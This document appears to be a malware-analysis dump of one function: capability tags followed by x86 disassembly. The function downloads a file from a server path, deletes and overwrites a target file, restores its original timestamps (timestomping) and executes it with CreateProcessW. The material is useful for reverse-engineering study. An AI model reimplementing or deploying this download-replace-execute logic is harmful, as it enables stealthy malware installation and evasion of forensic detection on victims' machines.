Function at 0x10015291
Capabilities:
Copy file
Create process on windows
Delete file
Set file attributes
Timestomp file

Disassembly:
push 0x49c
mov eax, 0x100417c5
call fcn.10021f0e
mov eax, dword [ebp + 8]
mov esi, 0x1004aa2c
xor ebx, ebx
push esi
lea ecx, [ebp - 0x434]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x438], ebx
call fcn.100021a3
push esi
lea ecx, [ebp - 0x428]
mov dword [ebp - 4], ebx
call fcn.100021a3
push esi
lea ecx, [ebp - 0x43c]
mov byte [ebp - 4], 1
call fcn.100021a3
push 0x40
lea eax, [ebp - 0x4a4]
push ebx
push eax
mov byte [ebp - 4], 2
call fcn.10024270
xor eax, eax
mov dword [ebp - 0x464], ebx
lea edi, [ebp - 0x460]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x103
push edi
lea eax, [ebp - 0x113]
push ebx
push eax
mov dword [ebp - 0x4a8], 0x44
mov byte [ebp - 0x114], bl
call fcn.10024270
xor eax, eax
push 0x206
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push ebx
push eax
call fcn.10024270
push edi
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call fcn.10024270
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x438]
push eax
push dword [ebp - 0x42c]
call fcn.100124a6
add esp, 0x40
test eax, eax
je 0x100155b1
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1001538b
push 0x104
lea ecx, [ebp - 0x420]
push ecx
sub eax, edx
push eax
lea eax, [ebp - 0x114]
push eax
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x420]
push eax
call fcn.10002867
pop ecx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x428]
call fcn.10002599
push 0xa
pop edi
push dword [ebp - 0x42c]
push str.download_param__s
call fcn.10003fa8
pop ecx
pop ecx
push esi
lea ecx, [ebp - 0x430]
call fcn.100021a3
lea eax, [ebp - 0x430]
push eax
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 3
call fcn.1000448c
mov byte [ebp - 0x421], al
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x434]
push str.download_strfile:_s_serverPath:_s
call fcn.10003e3a
add esp, 0x10
dec edi
je 0x1001545b
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x430]
add ecx, 0xfffffff0
call fcn.10002c37
cmp byte [ebp - 0x421], bl
je 0x100153e9
jmp 0x1001546d
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x430]
add ecx, 0xfffffff0
call fcn.10002c37
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, 0x80
push esi
push 3
push ebx
push 1
push connect
push dword [ebp - 0x428]
mov dword [ebp - 0x42c], ebx
call edi
mov dword [ebp - 0x430], eax
cmp eax, 0xffffffff
je 0x100154e8
lea ecx, [ebp - 0x444]
push ecx
lea ecx, [ebp - 0x44c]
push ecx
lea ecx, [ebp - 0x454]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x42c], 1
push ebx
push dword [ebp - 0x428]
push dword [ebp - 0x434]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1001550c
push str.copy_sucess
call fcn.10003e3a
pop ecx
jmp 0x1001552c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x428]
push dword [ebp - 0x434]
push str.copy_error_from__s__to__s__:__d
call fcn.10003e3a
add esp, 0x10
cmp dword [ebp - 0x42c], ebx
je 0x10015571
push ebx
push esi
push 3
push ebx
push 1
push 0x40000000
push dword [ebp - 0x428]
call edi
mov esi, eax
cmp esi, ebx
je 0x10015571
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x454]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x421], bl
je 0x100155b1
cmp dword [ebp - 0x438], ebx
je 0x100155b1
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x4a8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100155b1
push str.execute_file_failed_n
call fcn.10003e3a
pop ecx
mov ecx, dword [ebp - 0x43c]
add ecx, 0xfffffff0
call fcn.10002c37
mov ecx, dword [ebp - 0x428]
add ecx, 0xfffffff0
call fcn.10002c37
mov ecx, dword [ebp - 0x434]
add ecx, 0xfffffff0
call fcn.10002c37
call fcn.10021f58
ret 4